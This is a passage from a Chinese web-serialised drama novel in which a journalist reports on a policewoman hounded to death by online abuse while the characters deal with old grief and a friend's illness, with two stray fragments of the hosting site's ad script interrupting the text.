这位前辈什么都好,就是个性太冷淡了,明明长着一副绝美小白花清纯的脸,可是浑身上下散发着拒人于千里之外的疏离感。 他是负责拍摄,扛摄像头的,往日里和这位前辈并没有什么交集,但半年前他被派给了林听做搭档,因此也能说上几句话了。 今日公司里没什么事,他是可以按点下班的,然而林听在临近下班之前接了一通电话之后,表示要到星缘大厦出外勤,他是有车的,而且家也在星缘大厦这附近,因此便开了车往这边赶。 星缘大厦已经到了,林听将放在脚边的背包拎在手上,一边推门一边淡淡道:“亚光,你可以先下班了。” “诶——等等。”正准备也跟着下车的朱亚光愣了一下,“我怎么就可以下班了,不用我拍摄吗?” 林听摇了摇头,她拍了拍自己的背包,“我里面带了小型的相机,这次不需要你拍摄,我自己就可以。” “哦!哦,那好吧。”朱亚光笑了笑,“林听,谢谢你啊,那我就先下班了。” “嗯。”林听点点头,背上背包下了车。 看着林听的身影消失在眼前,朱亚光握起了拳头,在胸前开心地“yes”了一下,他连忙发给朋友,道:“等我,我十分钟后到家,到时候我们打双排游戏啊!” 叮——手机震动了一下。 【你不是跟林听一起出外勤了吗?不用加班?】 这位朋友其实也是朱亚光公司的同事,一样是抗摄像机的摄影师。 “是啊,但林听说她自己就行,不用我,让我直接下班!!” 【羡慕羡慕羡慕!!!和林听搭档就是好,她什么事都习惯自己做,不像我的搭档天天使唤我,还都是私事。林听人美心善,你小子有福气了。】 【哎,你怎么不近月楼台先得月啊,你不是单身吗?追追林听多好。】 朱亚光顿时露出了无语的神情,林听这样的人能看得上他?他可是有自知之明的,而且……啧……他想起了那位带着金丝眼镜、温和儒雅的男人,总觉得那位好像对林听有点意思,但又好像不是…… 算了,回家打游戏算了! * 身后是车水马龙的国道,橘黄、闪红的车灯汇连成海,缓缓地向着前方移动,斑驳的光影从身后投射在星缘大厦满面的玻璃墙上,光影绰绰、好看极了。 林听站在星缘大厦前面的广场空地上,音乐温泉徐徐蓬发着,她透过玻璃墙看见了咖啡厅内面对面坐着的陈恕和张期期。 陈恕……除了兰亭的忌日之外,鉴于他是律师,她是记者,所以平日里她和对方也算有交集,每每陈恕打了漂亮又轰动的官司时,各大公司都会派出记者、摄影师前往采访和拍摄。 陈恕性情冷淡,又比较低调,还不怎么喜欢接受采访,但许是因为她和对方曾经是同学,陈恕面对她递过去的话筒时总会说上几句,也是因此,之后宏图传媒只要是与陈恕对接的工作都喜欢让她来。 而张期期……期期…… 林听攥了手心,心潮起伏,算一算,上次见她已经是八年前的事情,兰亭去世后的隔一年她见过她,甚至……说出了伤人的话语,自此她们错开了时间,不再相见。 看着多年未见的她的侧影,林听浑身紧绷着,这次是陈恕联系她,说想请她报道一件事,她才过来的,只是没想到会见到张期期。 林听脚步迟疑,然而没等她再犹豫下去,视野中陈恕和张期期仿佛似有所觉板看了过来,他们隔着透光的玻璃墙看见了对方。 林听见到陈恕挥了挥手,随后起身,大概是要过来接她吧,而期期…… 她收回视线走向星缘大厦的正门,在门口遇见了快步走出来的陈恕,陈恕看了一眼她身上看起来巨大巨重的背包,伸出手。 林听见状,微微侧过了身,拒绝了,“不用,我自己背就行,都习惯了。” 一小段路的距离,林听却仿佛觉得是走了很漫长很漫长的一段时间,她越过了好些年的时间终于再次站在了张期期的面前。 陈恕走在最后面,他朝着咖啡厅的点单人员要了一杯生椰拿铁。服务员将生椰拿铁放在了陈恕面前的桌上,陈恕将其挪到了旁边的位置,又替林听将椅子拉开。 林听攥了攥手心,还是坐下了,她绷着嗓音侧首看向陈恕,“说说吧,想让我报道什么事?” 从进来到坐下说话,林听仿佛没看见张期期一样,陈恕见状,嘴角扯了扯,期期啊期期……这世界上除了我之外,还有她,同样被你丢下了,我们这些年都无法释怀,你呢?再见我们你又是什么心情…… 陈恕神色淡淡,下巴微抬,指了指对面的张期期,“准确来说,是她想找你报道一件事。” 如此,林听顿了顿收回视线,望着桌前的生椰拿铁沉默不语,她的余光扫过张期期搭在桌面上的手。方才隔着窗玻璃时,她便觉得张期期比之年少的她仿佛瘦了不少,此刻她搭在桌上的手都没了当年的肉感。 谁都没有开口说话,咖啡厅里舒缓柔和的音乐低声吟唱着,暖调的光线让人觉得宁静平和,然而张期期、陈恕、林听的这一桌似乎与外界隔绝开了,气氛凝滞粘稠,压得各自都透不过气来。 张期期眼睫毛颤了颤,那一日暴雨如注,空气中带着潮湿的阴冷,林听充满恨意的话语在那几年一直在她的梦中回响着,夜夜惊醒之后泪流满面,心痛不已。 好多个夜晚,她捂着憋闷、疼痛的心脏看着窗外天色渐渐变亮、月落日升。 她的手抖了抖,怀中帆布包里突出的尖锐刺角戳了她一下,张期期猛然回过神来,想到柏雪,想到那些污言秽语,她咬着牙开了口,声音干哑,“对。是我找你。” 林听紧紧抿着唇,沉默着从背包里开始拿设备,她将本子、黑色水笔、录音设备一一摆放在桌面上合适的位置。 张期期看着距离她很近的录音设备,犹豫道:“这是开始了吗?” 林听神色淡淡地“嗯”了一声,随后又道:“我暂时不知道你要说什么,又想让我报道什么,我这次过来只是以为陈恕找我,并不知道是你。” “鉴于我们这么多年没见,彼此应该早就不了解了,所以我得提醒你,我不是那种没有职业道德的媒体记者,如果你说的是没有根据的话,我是不会报道出来的。” 张期期忙不迭声地道:“好……我知道的……我保证我说出来的话都是真实的。” 眼前的林听与八年前她在墓园见过的那一次也有很大的不同,八年的时间她蜕变得成熟、气场变得很强、她对她不像那一次一样竭斯底里,却很冷淡,冷淡到让人心底发凉。 陈恕、林听……就坐在她的面前,她没有哪一刻比现在还深刻地认识到大家彼此之间隔着漫长时光的洪流,再相见他们之间的嫌隙已经多得数不清了。 …… 她保证她说出来的话都是真实的??林听嘴角忽地扯了扯,呼吸有一瞬间的急促。 是谁!是谁提议说大家要一起上华大、一起毕业、一起工作、买一起的房子,放假的时间大家一起出去露营玩,然而率先不告而别的却是她! 坐在一旁一直沉默着的陈恕忽然轻轻叩了叩桌面,响动声令林听恍然回过神来,她侧首瞥了陈恕一眼,眼底闪过讥讽。 那年,少年站在教室走廊上,透过窗户望着张期期空无一人的座位时露出的神情,她至今还记得,那么痛,仿佛整个人都要碎掉了一样,而如今呢……横亘在他们之间那么多年的等待和绝望,他现在是打算轻而易举地原谅张期期吗? 真没出息! 林听心底发出一声嗤笑,她拿起黑色水笔和本子,淡淡道:“可以开始了……” 张期期深深吸了一口气,压抑住心里泛起来的酸胀,她拿出了一个相框,相框照片上是一个明眸皓齿、目光坚毅的少女,少女穿着警服抱着花束,这是柏雪从警校毕业时的照片。 “她叫柏雪……” …… 约莫是此刻正值晚饭时间,咖啡馆内并没有多少人,员工坐在高脚凳上懒懒散散、小声说着话,音乐低沉、舒缓、悠扬,一幅闲适的气氛。 然而角落的小包间内气氛却越来越沉凝,当张期期红着眼尾将一切说完时,桌上已经摆满了好几个相框,全是柏雪一家三代,五口人身穿警服的照片、他们牺牲时国家发予他们家属的烈士勋章、二等功的奖状证书和三等功的勋章等等东西。 与这些荣誉相反的是,柏雪受到的诋毁,陈恕打印出来的饱含恶意的中伤话语的证据文件也放在了桌面上,除此之外,还有张期期从柏雪家中找出来的抵抗抑郁症的药物,也是直到看到药瓶的那一刻,她才知道原来柏雪早就身心都布满伤痕了。 这一些摆放在同一张桌面上,何其讽刺啊!一直快速记录着的林听手中的黑色水笔停滞了下来,这个故事沉重得让她心头发闷。

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 一个父辈都是为国牺牲的女孩子,自己也在抓捕犯人的过程中重伤退出一线,然而她没有死在走向正义的道路上,而是死在了网友的键盘之中。 “我能拍一下这些荣耀的证明吗?”林听放下笔和本子,认真道。 张期期点头,瓮声道:“可以……” 林听从背包里拿出相机,一一将这些闪烁着荣誉、记载着鲜血的奖励一一拍下,英雄的事迹不该被遗忘,英雄也不该落到人人踩一脚的地步。 见林听拍完,张期期小心翼翼地将东西整理好,妥帖地放在帆布包内,她道:“林听,报道就拜托你了。” “嗯!”林听颔首,她将本子和黑色水笔、相机放进背包内,又道:“除了舆论,这些随意中伤他人的人也要按照法律付出代价吧。” “打官司的事,我拜托了陈恕。”张期期小声道。 林听瞥了陈恕一眼,点点头,那她就放心了,“既然说完了,那我就走了,报道的话快的话今晚,慢的话明天早上。我会尽快的,但是也需要上司审核,所以需要一点时间。” “哦,好。”张期期忙不迭声地点头,见林听已经背起背包准备离开的样子,她面色犹豫,想开口说话却又怕惹对方生气。 陈恕对眼前的这一幕早有心理准备,明明他和林听一样对她当年的毁约和不告而别愤愤不平,但看见她落寞、忐忑的眼神时,他又不可自抑地心软了。 他抿了抿唇,内心一片自嘲,最终还是妥协了,他开口道:“现在是饭点,我请客,一起吃顿饭?” 张期期眼神蓦然亮了起来,带着期翼和忐忑地看向林听。正在收拾背包的林听手一顿,停顿了片刻后继续若无其事地背起背包,她神色平静,“不了,我还有事,先走了。” 咖啡厅的玻璃门被推开又关上,张期期坐在原地隔着玻璃墙目送着林听的背影渐渐消失在她的视野里。她的眼底盛满了落寞与无助,有些过去的事情其实永远都过不去了…… * 京照市的夜晚仿佛是一座不夜城,永远不会落幕一样,闪烁的霓虹灯点缀在道路两旁的商店前方,绵延望不到尽头的路灯发散着橘黄色的光芒,高耸入云的建筑墙上有数不清、光芒各色的LED屏,上面播放着各式各样的广告…… 林听攥着背包的带子,缓缓、一步一步都走上天桥,她站在天桥上望着不远处的那一片的商品房,十几栋的住宅建筑高低错落地分布着,建筑之间隐约可见墨色的绿植,听说这个小区的绿化做得非常好。 除了住宅建筑,目之所及的不远处还有一栋商业大厦,大厦的一至五楼是大型商都,再往上便是写字楼了。 林听抬起头望着商业大厦上闪烁的灯牌——兰亭大厦。“兰亭……”她嘴唇轻启,喃喃地念出刻在心底的名字。 天桥下,道路旁,年轻的歌手穿着朋克式衣服,染着五颜六色的头发,戴着好几个耳钉,却唱着缠绵、悲伤的歌曲。 「才明白生与死之间,并没有想象中遥远, 来不及说的话已消失不见在耳边。 每次碰面都是纪念,每句再见都像在告别 让擦肩而去的瞬间倒映在我眼前 ……」 兰亭,兰亭……九年的时间,曾经晚霞漫天之下,那片尘土飞扬的荒地早就建起了豪华的住宅小区、高档的商业大厦。 她留在了京照市,上了京大,她在这里看着荒地打下了深深的地基,看着钢筋水泥一车车地运过来,看着这些楼房一栋栋被建立起来,看着它完工、剪彩、开售,看着它慢慢成为京照市另一个商业圈。 “兰亭,你走得太突然了,甚至都没来得及和我告别,不过没关系了,我会留在这里,一直留在这里,这座城市有我们的回忆。” …… 入夜的风带着微微的凉意,卷起林听散落的发丝,她随手将发丝别在耳后,手臂搭在天桥的栏杆上,天桥下车马如龙、车灯闪烁成海。 她站在天桥上望着不远处的万家灯火,然而商业大厦二楼的大露台上有人抽着烟,目光沉静、深邃地望着她。 片刻后,视野中的她抬手看了看腕间的手表,许敬亭将烟按掉,看着她走下了天桥,走了过来…… 许敬亭微垂下眸,“去大厦门口接一下她。” 秘书小陈闻声道,“好的。” - 林听拒绝了陈恕请吃饭时说的理由其实倒也不是借口,她确实是有事。她得还债,即便当年那个借她钱的少年已经不在了。 九年的时间,四年大学里,她学习之外的时间都奔波于各个兼职,学校是有奖学金、助学金的,足够她交学费了,但是生活费还是要她自己挣,再加上那几年奶奶的病情反反复复,吃药、检查、手术陆陆续续又花费了一大部分,导致她直到毕业之后才能够腾出钱来还当年欠下的债。 也是毕业,出了校园之后,她被现实狠狠地击打了一番,才真正意识到当年许兰亭就是在骗她,十几万,她怎么可能两年之内就能够还完。 即便是宏图这样的大公司,她一开始作为实习生,工资简直少得可怜,随随便便上万那简直是痴人说梦,再加上物价上涨,通货膨胀,大学生越来越不值钱,她每个月要攒下一部分钱真的很难很难…… 而现在,毕业五年了,她早就攒够了那笔钱,却不舍得一次性还完,非要每半年还一次,为的不过是不舍得这世界上她和兰亭还剩下的唯一一点相关联的东西能够慢点、再慢点地消失。 且……她每次都厚着脸皮非要用现金还,不过是因为…… 恰在此时,秘书小陈疾步小跑了过来,“林小姐……老板让我来接您。” 林听默默攥紧了背包带子,点点头,“麻烦你了。” “不用客气。” 商都二楼,一家拥有超大露台的私房海鲜餐厅。 林听看到秘书领着她往餐厅走去,顿时脸色尴尬,难道兰亭他哥哥还在吃饭,那她这个时候过来是不是有点不好,要不再等一会儿?还是下次再来? 下次……可是下次……林听咬了咬唇,下次又要等半年,毕竟当时是她说的,半年还一次。半年,时间真的好长啊…… 纠结、犹豫和心中隐秘的私心纠缠在一起,还未等林听理清内心真实的想法时,秘书小陈已经迅速地推开了私房海鲜餐厅内包含了大露台的那间包间。 包间里没有人,林听松了一口气,看来不是在和其他人饭桌上商谈生意,她真的很怕自己的私事、私心耽搁到对方的行程和生意。 “老板在露台……”秘书小陈提醒了一句,随后道:“林小姐,你自己过去吧,我得去催一催菜。” 闻言,林听顿了顿,估计是客户还没到,所以腾出一点时间见自己吧,她心想。 包间到露台的玻璃门是感应式的,林听刚走过去,玻璃门便自动打开了,露台上摆放着棕色皮质沙发和茶几,此时许敬亭翘着二郎腿抬眸缓缓看向了她。 这一刻林听的脑海里不可控制地轰然一声炸响,她眼尾迅速泛上微红,心脏疯狂跳动着。没戴金丝眼镜的许敬亭几乎就是和兰亭一个模子刻出来的一样,她无数次幻想兰亭长大之后是什么样子的,如今她大概知道了。 半响,林听深深吸了口气,压抑住心脏隐隐刺痛的感觉,脚步僵硬地走了过去站在许敬亭的面前,她微微错开了视线,不再直接盯着许敬亭的脸看,而是边说边从背包里拿出一个牛皮袋子,“敬亭哥,这是这半年的两万块钱。” 两万块钱,半年一次,从大学毕业的第三年开始到现在,她已经还完了十二万,还差最后的两万,这也就意味着她还可以见对方最后一次。 若不是因为兰亭,想来敬亭哥这个大老板也不会分出时间来见她,毕竟像他这样的人时间都很宝贵的。 这么多次,她真的给别人造成了很大的困扰吧,但是……但是……林听内心泛上无边的苦涩,她的余光控制不住转移到许敬亭的脸上,仿佛在透过他看向遥远的少年。 - 眼前的她眼底蓄满了悲伤,只是见到与弟弟相像的他而已,便频频失态。许敬亭心下怅然无奈,他又何尝不是呢?哪怕工作再忙、事情再多,他都不会拒绝与林听的见面,他又何尝不是在通过她怀念自己的弟弟…… 年幼的弟弟是他一手带大的,而他也看着眼前的她从十几岁的少女逐渐长大、适应社会。 许敬亭嘴角微微上扬,眼底温润,他笑了笑道,“其实不用这么急的,你知道这对我而言不算什么,而你手头上有些备用的资金,心里倒是会多些底气。” 他一开口说话,便不太像兰亭了,因为她记忆里的兰亭总是咋咋呼呼的,很少有这么温和的样子。因此,林听神色也平和了下来,她微微笑了笑,并不做任何解释。 钱给了,她也应该走了,“敬亭哥,那我先走了,您忙吧。” 林听转身欲走,许敬亭出声道,“等等——” 林听:? 许敬亭:“坐下来一起吃顿饭吧?我接下来没有事,一个人吃饭有些无聊。坐下来吧!” 林听垂下眼帘,眼底闪过挣扎和无措,她清醒地知道那不是兰亭,但就是忍不住想要接近一点点,仿佛就能伸手触摸到那已经远去的少年一样。 许敬亭站起身走过去,身形挺拔高大的他站在林听的面前顿时落下一片阴影,男人伸出手按在她肩上的背包带子上,他微微叹了口气,带着她往包间里走去。 秘书小陈也在这个时候走进了包间,身后是一辆推着餐食的小推车,服务人员安静地将菜上齐后离开。 秘书小陈见状,也想跟着离开,但他才刚侧过身时,许敬亭便看向他道,“小陈,你也坐下,一起吃顿饭吧。” 秘书小陈愣了下,余光扫过餐桌上浑身不自在的林听,便从顺如流地坐下了,笑道,“好的,老板。” 林听心底悄悄松了口气,让她独自和兰亭的哥哥吃饭,她紧张到不行,现下多一个人,她心里稍稍轻松了一些。 一旁将她的神情收入眼底的许敬亭眼底泛上细微的笑意。 秘书小陈是为数不多,对林听和许兰亭的事情比较了解的人,这么多年……他其实挺意外的,有时候也忍不住心想,这世界上真的有人能够仅仅靠着回忆去爱一个永远离开的人吗?更何况还是年少青涩不懂事时的感情。 眼前沉默吃着的林听在他看来还是多年前那个眼睛里噙满泪水却死活不肯落下眼泪的女孩子,他见她有些坐立不安,便开口问了问她现在的工作情况,工作累不累,同事好不好相处,上司会不会找事…… 先是秘书小陈问,林听干巴巴地回答,但说着说着,林听也能微笑着主动说起工作上的一些困扰,秘书小陈作为那么多年的社畜提出来的建议都能得到林听恍然大悟的眼神。 许敬亭赞赏的目光掠过秘书小陈,做得不错,这个月的奖金应该加一加了。他边吃边听着另外两人聊天,从中汲取信息,也是……她一直都很优秀又理智,能够把自己的生活、工作处理好,即便她暂时还学不会往前走…… 110. 第 110 章 - 城市闪烁着耀眼、热闹的霓虹灯,淡白的月色掩藏云层中,星星也十分暗淡。随着城市越来越繁华,很多年前月明星灿的夜色早就不复存在。 街上人头攒动,张期期跟在陈恕身后,攥着背包带子,神情沮丧、失落。她不该奢望的,不该奢望林听不再继续排斥她。 兰亭的离去不是匆匆下过的一场大雨,不是雨过后就会天晴,而是永远的、一生的潮湿和泥泞。 她低垂着眼,精神越发萎靡不振,麻木地走着。 “诶——” 忽然间,陈恕伸手揽过她的肩膀将她往旁边带了带,陈恕紧绷着脸,硬邦邦道:“看路。”她刚刚差点就被撞了。 “啊,不好意思……”张期期眼底带着歉意,忙不迭声道,“谢谢……” 见她这副毫无生气的样子,陈恕不由地一阵气急和烦闷,她怎么就变成这样了呢?他恨不得质问她,当年离开的时候难道就没有考虑到再见后他们这些被抛下的人会不会埋怨她一走那么多年。 这难道不是她咎由自取的吗?可是为什么……她露出这样受伤的神情,他却感受不到任何的快意,憋闷和烦躁交织在他的心头,他甚至想开口安抚她的情绪…… 他自嘲地扯了扯嘴角,陈恕啊陈恕,他在清醒地看着自己再一次栽在她的身上。 “别再走神了。”最终他只是开口这么说道,又很快地将自己揽在她肩膀上的手臂收回来。 * 在林听拒绝了一起吃饭的邀请之后,陈恕带着张期期步行到了附近的一家川菜店,这是一家全国连锁的川菜店,他记得很久以前许兰亭曾经说过期期喜欢吃这家店的辣味川菜。 以前的他即便知道也没办法,因为他吃不起,更请不起她吃。 陈恕、张期期坐在靠窗的位置,服务员将已经点好的菜品一一呈上来,香气浓郁。其中有一道川味水煮鱼就是曾经张期期最喜欢的菜色。红艳艳的汤汁淋在乳白的鱼肉上特别好看,色香味俱全,呛口下饭。 然而,张期期瞳孔一缩,心脏疯狂地跳动着,眼睛阵阵发黑,脑海里却时不时闪现曾经令她作呕的一幕,她死死攥紧了手中的筷子。 见她迟迟未下筷,陈恕以为她是在担忧柏雪的事,便道:“打官司一般都快不了,半年一年都是常有的事。” “嗯……”张期期咬紧牙关低低地嗯了一声。 陈恕眉心微皱,又道:“至于网络上的舆论,林听比你更擅长解决这种事,她会写好报道的。”毕竟林听的笔下曾经揭露过很多行业内的黑幕,她出手的文章,外界对其信任度很高。 “我知道。”张期期微微垂眸咬牙说道,“我信她。” …… 川菜店的装修在隐私性这一点做得很好,每一张桌子旁都有装饰或者木质围栏遮挡,仿佛隔开一个个小小的空间一样。 店内灯光柔和,陈恕看着对面的张期期,眉心再次微微蹙起,她的状态有些奇怪,他犀利的目光落在她的脸上,她垂着眸,他看不清她眼底的神色。 陈恕最终只能妥协,大概是乍然见到林听,而林听又沉默抗拒的样子,她心里不好受吧……但他心里就好受吗? “吃吧。”陈恕淡淡道。 张期期攥紧筷子,绕过那道川味水煮鱼,随手一夹夹了一旁的腊肉炒西兰花……她艰难地张了张口,将其塞进嘴里,呛人的辣味直冲脑门,胃部开始泛起隐隐约约的刺痛。 她已经很久很久不吃辣,不吃味道重的,不吃任何肉类,包括鱼肉。九年了,发生了很多的变化,人在变,物在变。 张期期想起林听排斥、拒绝的样子,又想起年少时她们一起手挽手去厕所的画面,能不能不要变……能不能就像以前一样? 她看着满桌她曾经爱吃的饭菜,攥紧了筷子,抛却胃部的警示,硬着头皮神色轻松地开始吃,仿佛从若无其事地吃着曾经喜欢吃的饭菜,她就能窥见过去的自己,捕捉到那一丝的不变。 陈恕见她埋头吃饭,嘴角微微上扬了一点弧度,今天跑了一天、忙了一天,他也饿了。 …… 路边汽车内。 张期期坐在副驾驶上,斜挎包被她放在脚边,而她的怀里则抱着柏雪一家荣耀的证据。她微微用力,帆布包挤压在泛着疼痛的胃部上面,这让她稍微好受了一些。 她抬手悄悄擦去额角细密的汗珠,低声道:“我在温泉路那边定了酒店,离这里不远,你……” 她的话还没说完,握着方向盘准备倒车的陈恕脸色顿时难看起来,车内灯光暗沉,他的上半张脸隐没在黑暗中,眼底翻滚着复杂、难耐的情绪。 他猛地转头看向张期期,打断她的话,“定酒店?你不跟我回去?” 张期期悄悄捂着泛疼的胃部,神情尴尬、不自在,她低声道:“不了,太麻烦你了,我定酒店就行。” 陈恕绷着嘴角,强调道:“你这个案子没有那么快的,涉及到的人那么多,难道你要长年累月地住在酒店吗?” 张期期摇了摇头,眉心微蹙,“我知道这个官司肯定会很漫长,所以我就在这边呆几天,处理好柏雪的后事。林听的报道出来后大概舆论会有缓解,后续的我和你手机上联系就行,到时候需要再过来京照市我就再过来。” 她不可能一直在这里呆到官司结束,木木还在鹿海市等着她呢,而且她在这里并无可以长期落脚的地方。她也不想打电话给她妈妈…… “你又要走?”陈恕猛地探过身,攥住了张期期的手腕,咬牙切齿地道。 “陈恕!” 张期期诧异地抬眸,胃部的疼痛渐渐加剧,她的眼神渐渐烦躁起来,眉心紧紧皱起,抗拒地想要挣脱对方的禁锢。 抗拒……当看清她脸上的神情,陈恕浑身一僵,她在抗拒他……他下意识松开了手,不想在她脸上看见这样的神情。 陈恕无力地收回手,倚靠在驾驶座的软垫上,他伸手拧了拧眉心,眼底一片颓然,车窗外行人三三两两结伴、笑闹着走过,车窗内气氛凝滞,她微微蜷缩着身体仿佛浑身上下都在抗拒他。 陈恕心中自嘲一声,他还能拿她怎么办? “好,我送你去酒店。” 他听到自己即使再不甘愿,最终还是只能妥协同意了,好在案件还未结速,她不会再次就此消失的。 路上车辆拥堵,汽车只能缓慢行驶着,他攥着方向盘的手背青筋暴露,死死地盯着前方的道路,看也不想看她一眼。他生怕再看她一眼,他就会压抑不住内心的难平不管不顾地直接带她回自己的家。 车开得再慢,温泉路还是在前方了,陈恕抿了抿唇,沉声道:“哪家酒店……我开过去。” - 一阵又一阵的剧痛席卷而来,张期期疼得眼前开始发黑,冷汗淋漓,耳鸣阵阵,外界的声音仿佛隔着一层厚厚的屏障一样模糊地传到她的耳朵里,她分辨不出陈恕到底在说什么,她甚至觉得自己在高速地旋转着。 张期期用力地抱着手中的帆布袋,硬是说不出一句话来,呼吸声越来越浓重。 握着方向盘,全神贯注望着前方的陈恕久久听不到张期期的回答,他皱了下眉头侧首看向她,随机脸色大变。 眼前的她微微俯下身子蜷随着,额前的发丝贴在汗津津的脸旁,她脸色惨白,贝齿将下唇咬得发白。 “期期!期期,你怎么了?哪里不舒服?”陈恕快速解开安全带,整个人探过身去,将蜷缩着的张期期扶正,又将挡住她脸的发丝捋开,双掌捧着她的脸,仔仔细细地看着她惨白的面容。 此时的张期期已经是一副疼得半晕过去的状态,她微微睁着眼,眼前一片虚无,“疼……好疼……” 看着她这个样子,陈恕感觉心脏仿佛骤缩了一下,密密麻麻的疼痛恍似扎在了他的心脏上一样,他抱着她的头,脸蹭了蹭她的额头,安抚道:“期期,再忍忍,我带你去医院。” 说完,陈恕将张期期妥帖地靠在柔软的垫背上,随后他立刻系上安全带,开车往医院赶。 —— 从商都二楼望下去,底下灯火璀璨、车水马龙,许敬亭扶了扶金丝眼镜,手肘支在露台的围栏上,神情散漫地看着底下林听背着背包拦了一辆出租车离开。 秘书小陈看着林听的背影忍不住神情有些感慨,他和林听也算认识了好些年,他也希望她能够开心一点、活泼一点,不要再钻过去的牛角尖了。 许敬亭瞥了秘书小陈一眼又收回视线,他面色沉静地望着夜色,这么多年,她站在天桥上望着兰亭大厦建成,而他又看着她慢慢长大。如果可以,他也希望她不要再沉溺了悲伤中了,她应该向前走,不要回头。 “老板,二十分钟后您有一个会议。” “走吧。”许敬亭神色淡淡,微微点了点后道。 …… 岁月不改,绿树长青。 笔直的何榕大道上,两旁的榕树依旧郁郁葱葱,树冠仿佛遮天蔽日般蔓延开来,橘黄色的路灯被树冠挡住,落下晦涩的光影。 出租车上司机播放着悠扬婉转的音乐,汽车行驶着,光影绰绰从她的侧脸上闪过。 林听望着车窗外,这条路…… 她脸上露出苦涩的笑容,他护送了她近三年的时间。当时她花了很长一段时间习惯了他的存在,如今九年过去,她到现在都无法坦然地习惯他的离开。 汽车行驶到小巷子门口,便进不去了,林听付车钱后下了车走进了小巷子里。她从包里摸出钥匙打开了大门,家里静悄悄、黑漆漆的,她一走进去仿佛融入了黑暗孤寂中。 夜色静得她仿佛可以听见自己的呼吸声,林听抬手捂住泛红的眼眶,打开了灯光。她吸了吸鼻子,压下酸胀的心情,两年前奶奶去世前,她答应过奶奶的,一个人也要好好生活。 思及此,林听迅速整理好心情,攥紧背包快步走进了房间里,她将笔记本电脑、笔记本子、还有相机拿出来放在了桌面上。 相机里的照片确认清晰,她接入线,导入电脑内,又打开了文档,开始攥写稿子。 稿子……林听的心情顿时变得无比沉重,她抿了抿唇,指尖缓慢地在键盘上按着,删删改改,这个报道的字字句句她必须慎重再慎重,柏雪一家是值得所有人尊重的。 夜色渐渐暗沉,林听边攥写稿子边时不时揉着发酸的脖颈。等她写完时,已经是凌晨一点钟了,她将稿子发给了上司审核,完全不担心这是半夜的时间点。 趁着上司审核的这段时间,林听起身找了睡衣往浴室内走去,等她洗簌收拾完出来后…… 叮—— 笔记本电脑响了一声,林听走过去点开微信通讯,果不其然是上司发来的消息,对方已经通过了她这篇报道。 既然通过了,林听便登陆上公司的网站,用自己的工作号发布了这条文章——【他们抄起了键盘,以为自己是至高无上的神】*1 文章发布完之后,林听便松了口气,笔记本电脑放在床头柜旁一直开着,她需要时不时看一下网络上的评论。 眼睛干涩、疲倦感席来,林听选择坐在床上靠着枕头休息一下。片刻后,她突然顿了顿,拿出手机给陈恕发了消息,告诉对方他已经将报道发出去了。 下一秒,陈恕立刻回复“知道了,谢谢。”。 林听看着信息,嘴角扯了扯,倒是有些诧异,这些年她因为工作上的事情和陈恕断断续续有联系,自然也知道陈恕是个长年累月加班党,只是现在……期期都在他身边了,他居然还是这样吗? 思绪仅是一转,她的嘴角就耷拉了下来,林听嘴唇嗡动,心中无声地轻念着期期的名字,她眼底的神色再次寂灭,丝丝缕缕的嫉妒和怨恨缠绕在她的心头。 期期和陈恕之间虽然九年未见,但他们只是生离而已,而她和兰亭呢,却是此生不复相见的死别。 她住的平房隔音并不好,旁边的小巷子里偶尔有行人走过、单车骑过、猫狗喊叫的声音,林听微微垂着眸,眼神死寂。 漫长的无数个日日夜夜,没有任何一个人告诉她放弃兰亭该如何做?她只能自己一个人熬过无边漆黑的夜晚,然后第二天照常起床,工作上班。只要天一亮,她就该认真地投入工作,什么都不去想,所以每一个漫长的夜晚她都在等天亮。 — 天色微微透亮,晨曦的阳光攀爬上医院外部的墙面,随着时间缓缓落入病房内。 陈恕坐在椅子上,半倚靠在病床的床头旁,光斑落在他眼皮上时,他睫毛微微颤了颤,缓缓掀开眼帘。 入目是雪白的墙面、干净单调的屋内设计,他抬手揉了揉眉心,这才想起来现在是在医院。昨晚的一幕幕闪现在脑海里,他至今心有戚戚。 昨夜期期看完病、被医生留下住院,稍稍好转之后她便昏昏沉沉地睡了过去,而他则被医生叫出去说了一顿。 那些话语仿佛还回响在他的耳边,陈恕抿了抿唇,神色复杂,他没想到期期的胃病这么严重,任何辛辣、重口味、油腻的东西都不能吃。 这时候他蓦然想起昨天晚上,他随手推开的面馆正是期期前脚吃过的餐店,当时店老板还说期期在减肥,减肥……看来是因为期期点的餐食过于单调寡淡了,所以对方才会误解的,其实真正的情况是她的胃太过脆弱,承受不住年少时她喜欢吃的食物了。 清晨微凉的风挤过他昨夜打开的一小条专门用来透气的窗缝,薄薄轻纱质地的窗帘随风飘动,风里传来窗外桂花的芳香。 陈恕微微侧首沉默地看着躺在病床上安静睡着的期期,他的视线一寸寸留恋不舍地观察掠过她的面容,他很久很久没有机会这么仔细地看着她了。 上一次……男人垂眸,嘴角露出自嘲,上一次这么看她大概是年少时,午后的教室内,她下巴垫在课 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 桌上光明正大地打瞌睡时。 因为超忆症,当他仔细看她的时候,便会将她与记忆中的她做对比,确实这些年过去,她清瘦了不少,年少时那点的婴儿肥早就褪去了。 怎么会变成这样呢? 他原本以为她的清瘦只不过是女孩子长大后抽条或者是她故意控制自己的体重,就像他在律所里总能听到他的女员工们喊着减肥、喊着不能再吃了一样,他没想到她是真的不能再吃了。 美国……她不是和陆向川去了美国吗?陆向川就没有照顾好她吗? 陈恕皱着眉头看向还在沉睡的张期期,眼底又闪过疑惑,不是去了美国吗?为什么她会跑到了鹿海市,甚至这次回京照,她也宁可住酒店,没提过回家,为什么不回去呢? …… 疼…… 病床上的张期期下意识地皱起眉头,急剧的疼痛过后她的脑海里仿佛还残留着痛感,所以一清醒过来,她下意识觉得胃还在疼着。 入眼是陌生、单调的房间,她缓缓侧首观察了一番,这好像是医院。昏迷前的那一幕渐渐浮现在她的脑海里,张期期意识到是陈恕带她来了医院。 她正想起身时,病房门突然被轻轻地推开了。 陈恕一打开门就撞上了她看过来的视线,他抿了抿嘴角,面无表情地走进去,将刚刚打好的白粥放在了床头的柜子上。 “醒了?” “……嗯。”张期期慢慢坐起身来,低声继续道,“昨天晚上……谢……” 陈恕侧首一个眼神过去,打断了她的话,“如果是道谢的话,大可不必。”他有些生气,生气她明明知道自己已经吃不了辣,还丝毫不顾及她自己的身体硬是吃下去。 “哦……”不道谢的话,她真的不知道要说什么了。 